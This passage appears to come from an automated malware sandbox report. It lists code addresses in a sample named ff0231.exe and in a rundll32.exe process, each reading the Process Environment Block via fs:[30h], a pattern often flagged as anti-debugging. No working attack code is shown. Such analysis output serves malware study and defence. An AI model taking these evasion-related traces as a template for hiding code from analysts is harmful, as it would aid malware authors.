Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DA229 mov eax, dword ptr fs:[00000030h] 3_2_009DA229
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6B260 mov eax, dword ptr fs:[00000030h] 3_2_00A6B260
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6B260 mov eax, dword ptr fs:[00000030h] 3_2_00A6B260
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88A62 mov eax, dword ptr fs:[00000030h] 3_2_00A88A62
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9240 mov eax, dword ptr fs:[00000030h] 3_2_009B9240
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9240 mov eax, dword ptr fs:[00000030h] 3_2_009B9240
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9240 mov eax, dword ptr fs:[00000030h] 3_2_009B9240
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B9240 mov eax, dword ptr fs:[00000030h] 3_2_009B9240
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F927A mov eax, dword ptr fs:[00000030h] 3_2_009F927A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7EA55 mov eax, dword ptr fs:[00000030h] 3_2_00A7EA55
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A44257 mov eax, dword ptr fs:[00000030h] 3_2_00A44257
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2397 mov eax, dword ptr fs:[00000030h] 3_2_009E2397
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A85BA5 mov eax, dword ptr fs:[00000030h] 3_2_00A85BA5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EB390 mov eax, dword ptr fs:[00000030h] 3_2_009EB390
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C1B8F mov eax, dword ptr fs:[00000030h] 3_2_009C1B8F
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C1B8F mov eax, dword ptr fs:[00000030h] 3_2_009C1B8F
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6D380 mov ecx, dword ptr fs:[00000030h] 3_2_00A6D380
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7138A mov eax, dword ptr fs:[00000030h] 3_2_00A7138A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4BAD mov eax, dword ptr fs:[00000030h] 3_2_009E4BAD
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4BAD mov eax, dword ptr fs:[00000030h] 3_2_009E4BAD
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4BAD mov eax, dword ptr fs:[00000030h] 3_2_009E4BAD
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A353CA mov eax, dword ptr fs:[00000030h] 3_2_00A353CA
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A353CA mov eax, dword ptr fs:[00000030h] 3_2_00A353CA
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DDBE9 mov eax, dword ptr fs:[00000030h] 3_2_009DDBE9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E03E2 mov eax, dword ptr fs:[00000030h] 3_2_009E03E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7131B mov eax, dword ptr fs:[00000030h] 3_2_00A7131B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BF358 mov eax, dword ptr fs:[00000030h] 3_2_009BF358
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BDB40 mov eax, dword ptr fs:[00000030h] 3_2_009BDB40
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E3B7A mov eax, dword ptr fs:[00000030h] 3_2_009E3B7A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E3B7A mov eax, dword ptr fs:[00000030h] 3_2_009E3B7A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88B58 mov eax, dword ptr fs:[00000030h] 3_2_00A88B58
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BDB60 mov ecx, dword ptr fs:[00000030h] 3_2_009BDB60
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C849B mov eax, dword ptr fs:[00000030h] 3_2_009C849B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36CF0 mov eax, dword ptr fs:[00000030h] 3_2_00A36CF0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36CF0 mov eax, dword ptr fs:[00000030h] 3_2_00A36CF0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36CF0 mov eax, dword ptr fs:[00000030h] 3_2_00A36CF0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A714FB mov eax, dword ptr fs:[00000030h] 3_2_00A714FB
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88CD6 mov eax, dword ptr fs:[00000030h] 3_2_00A88CD6
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71C06 mov eax, dword ptr fs:[00000030h] 3_2_00A71C06
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8740D mov eax, dword ptr fs:[00000030h] 3_2_00A8740D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8740D mov eax, dword ptr fs:[00000030h] 3_2_00A8740D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8740D mov eax, dword ptr fs:[00000030h] 3_2_00A8740D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36C0A mov eax, dword ptr fs:[00000030h] 3_2_00A36C0A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36C0A mov eax, dword ptr fs:[00000030h] 3_2_00A36C0A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36C0A mov eax, dword ptr fs:[00000030h] 3_2_00A36C0A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36C0A mov eax, dword ptr fs:[00000030h] 3_2_00A36C0A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EBC2C mov eax, dword ptr fs:[00000030h] 3_2_009EBC2C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA44B mov eax, dword ptr fs:[00000030h] 3_2_009EA44B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D746D mov eax, dword ptr fs:[00000030h] 3_2_009D746D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4C450 mov eax, dword ptr fs:[00000030h] 3_2_00A4C450
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4C450 mov eax, dword ptr fs:[00000030h] 3_2_00A4C450
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A805AC mov eax, dword ptr fs:[00000030h] 3_2_00A805AC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A805AC mov eax, dword ptr fs:[00000030h] 3_2_00A805AC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EFD9B mov eax, dword ptr fs:[00000030h] 3_2_009EFD9B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EFD9B mov eax, dword ptr fs:[00000030h] 3_2_009EFD9B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B2D8A mov eax, dword ptr fs:[00000030h] 3_2_009B2D8A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B2D8A mov eax, dword ptr fs:[00000030h] 3_2_009B2D8A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B2D8A mov eax, dword ptr fs:[00000030h] 3_2_009B2D8A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B2D8A mov eax, dword ptr fs:[00000030h] 3_2_009B2D8A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B2D8A mov eax, dword ptr fs:[00000030h] 3_2_009B2D8A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2581 mov eax, dword ptr fs:[00000030h] 3_2_009E2581
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2581 mov eax, dword ptr fs:[00000030h] 3_2_009E2581
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2581 mov eax, dword ptr fs:[00000030h] 3_2_009E2581
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E2581 mov eax, dword ptr fs:[00000030h] 3_2_009E2581
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E1DB5 mov eax, dword ptr fs:[00000030h] 3_2_009E1DB5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E1DB5 mov eax, dword ptr fs:[00000030h] 3_2_009E1DB5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E1DB5 mov eax, dword ptr fs:[00000030h] 3_2_009E1DB5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E35A1 mov eax, dword ptr fs:[00000030h] 3_2_009E35A1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7FDE2 mov eax, dword ptr fs:[00000030h] 3_2_00A7FDE2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7FDE2 mov eax, dword ptr fs:[00000030h] 3_2_00A7FDE2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7FDE2 mov eax, dword ptr fs:[00000030h] 3_2_00A7FDE2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7FDE2 mov eax, dword ptr fs:[00000030h] 3_2_00A7FDE2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A68DF1 mov eax, dword ptr fs:[00000030h] 3_2_00A68DF1
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov eax, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov eax, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov eax, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov ecx, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov eax, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A36DC9 mov eax, dword ptr fs:[00000030h] 3_2_00A36DC9
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CD5E0 mov eax, dword ptr fs:[00000030h] 3_2_009CD5E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CD5E0 mov eax, dword ptr fs:[00000030h] 3_2_009CD5E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A3A537 mov eax, dword ptr fs:[00000030h] 3_2_00A3A537
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88D34 mov eax, dword ptr fs:[00000030h] 3_2_00A88D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7E539 mov eax, dword ptr fs:[00000030h] 3_2_00A7E539
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4D3B mov eax, dword ptr fs:[00000030h] 3_2_009E4D3B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4D3B mov eax, dword ptr fs:[00000030h] 3_2_009E4D3B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E4D3B mov eax, dword ptr fs:[00000030h] 3_2_009E4D3B
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C3D34 mov eax, dword ptr fs:[00000030h] 3_2_009C3D34
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BAD30 mov eax, dword ptr fs:[00000030h] 3_2_009BAD30
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009D7D50 mov eax, dword ptr fs:[00000030h] 3_2_009D7D50
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F3D43 mov eax, dword ptr fs:[00000030h] 3_2_009F3D43
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A33540 mov eax, dword ptr fs:[00000030h] 3_2_00A33540
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A63D40 mov eax, dword ptr fs:[00000030h] 3_2_00A63D40
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DC577 mov eax, dword ptr fs:[00000030h] 3_2_009DC577
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DC577 mov eax, dword ptr fs:[00000030h] 3_2_009DC577
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A346A7 mov eax, dword ptr fs:[00000030h] 3_2_00A346A7
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A80EA5 mov eax, dword ptr fs:[00000030h] 3_2_00A80EA5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A80EA5 mov eax, dword ptr fs:[00000030h] 3_2_00A80EA5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A80EA5 mov eax, dword ptr fs:[00000030h] 3_2_00A80EA5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4FE87 mov eax, dword ptr fs:[00000030h] 3_2_00A4FE87
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E36CC mov eax, dword ptr fs:[00000030h] 3_2_009E36CC
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F8EC7 mov eax, dword ptr fs:[00000030h] 3_2_009F8EC7
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6FEC0 mov eax, dword ptr fs:[00000030h] 3_2_00A6FEC0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E16E0 mov ecx, dword ptr fs:[00000030h] 3_2_009E16E0
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88ED6 mov eax, dword ptr fs:[00000030h] 3_2_00A88ED6
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C76E2 mov eax, dword ptr fs:[00000030h] 3_2_009C76E2
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA61C mov eax, dword ptr fs:[00000030h] 3_2_009EA61C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA61C mov eax, dword ptr fs:[00000030h] 3_2_009EA61C
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A6FE3F mov eax, dword ptr fs:[00000030h] 3_2_00A6FE3F
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BC600 mov eax, dword ptr fs:[00000030h] 3_2_009BC600
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BC600 mov eax, dword ptr fs:[00000030h] 3_2_009BC600
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BC600 mov eax, dword ptr fs:[00000030h] 3_2_009BC600
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009E8E00 mov eax, dword ptr fs:[00000030h] 3_2_009E8E00
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A71608 mov eax, dword ptr fs:[00000030h] 3_2_00A71608
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009BE620 mov eax, dword ptr fs:[00000030h] 3_2_009BE620
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C7E41 mov eax, dword ptr fs:[00000030h] 3_2_009C7E41
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7AE44 mov eax, dword ptr fs:[00000030h] 3_2_00A7AE44
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A7AE44 mov eax, dword ptr fs:[00000030h] 3_2_00A7AE44
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAE73 mov eax, dword ptr fs:[00000030h] 3_2_009DAE73
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAE73 mov eax, dword ptr fs:[00000030h] 3_2_009DAE73
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAE73 mov eax, dword ptr fs:[00000030h] 3_2_009DAE73
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAE73 mov eax, dword ptr fs:[00000030h] 3_2_009DAE73
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DAE73 mov eax, dword ptr fs:[00000030h] 3_2_009DAE73
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C766D mov eax, dword ptr fs:[00000030h] 3_2_009C766D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009C8794 mov eax, dword ptr fs:[00000030h] 3_2_009C8794
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37794 mov eax, dword ptr fs:[00000030h] 3_2_00A37794
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37794 mov eax, dword ptr fs:[00000030h] 3_2_00A37794
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A37794 mov eax, dword ptr fs:[00000030h] 3_2_00A37794
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009F37F5 mov eax, dword ptr fs:[00000030h] 3_2_009F37F5
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009DF716 mov eax, dword ptr fs:[00000030h] 3_2_009DF716
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA70E mov eax, dword ptr fs:[00000030h] 3_2_009EA70E
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EA70E mov eax, dword ptr fs:[00000030h] 3_2_009EA70E
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8070D mov eax, dword ptr fs:[00000030h] 3_2_00A8070D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A8070D mov eax, dword ptr fs:[00000030h] 3_2_00A8070D
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009EE730 mov eax, dword ptr fs:[00000030h] 3_2_009EE730
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4FF10 mov eax, dword ptr fs:[00000030h] 3_2_00A4FF10
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A4FF10 mov eax, dword ptr fs:[00000030h] 3_2_00A4FF10
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B4F2E mov eax, dword ptr fs:[00000030h] 3_2_009B4F2E
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009B4F2E mov eax, dword ptr fs:[00000030h] 3_2_009B4F2E
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_00A88F6A mov eax, dword ptr fs:[00000030h] 3_2_00A88F6A
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CEF40 mov eax, dword ptr fs:[00000030h] 3_2_009CEF40
Source: C:\Users\user\Desktop\ff0231.exe Code function: 3_2_009CFF60 mov eax, dword ptr fs:[00000030h] 3_2_009CFF60
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05009100 mov eax, dword ptr fs:[00000030h] 9_2_05009100
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05009100 mov eax, dword ptr fs:[00000030h] 9_2_05009100
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05009100 mov eax, dword ptr fs:[00000030h] 9_2_05009100
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 mov eax, dword ptr fs:[00000030h] 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 mov eax, dword ptr fs:[00000030h] 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 mov eax, dword ptr fs:[00000030h] 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 mov eax, dword ptr fs:[00000030h] 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05024120 mov ecx, dword ptr fs:[00000030h] 9_2_05024120
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500AD30 mov eax, dword ptr fs:[00000030h] 9_2_0500AD30
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05013D34 mov eax, dword ptr fs:[00000030h] 9_2_05013D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050CE539 mov eax, dword ptr fs:[00000030h] 9_2_050CE539
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034D3B mov eax, dword ptr fs:[00000030h] 9_2_05034D3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034D3B mov eax, dword ptr fs:[00000030h] 9_2_05034D3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05034D3B mov eax, dword ptr fs:[00000030h] 9_2_05034D3B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_050D8D34 mov eax, dword ptr fs:[00000030h] 9_2_050D8D34
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503513A mov eax, dword ptr fs:[00000030h] 9_2_0503513A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0503513A mov eax, dword ptr fs:[00000030h] 9_2_0503513A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0508A537 mov eax, dword ptr fs:[00000030h] 9_2_0508A537
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502B944 mov eax, dword ptr fs:[00000030h] 9_2_0502B944
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0502B944 mov eax, dword ptr fs:[00000030h] 9_2_0502B944
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05043D43 mov eax, dword ptr fs:[00000030h] 9_2_05043D43
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05083540 mov eax, dword ptr fs:[00000030h] 9_2_05083540
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_05027D50 mov eax, dword ptr fs:[00000030h] 9_2_05027D50
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500C962 mov eax, dword ptr fs:[00000030h] 9_2_0500C962
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 9_2_0500B171 mov eax, dword ptr fs:[00000030h] 9_2_0500B171
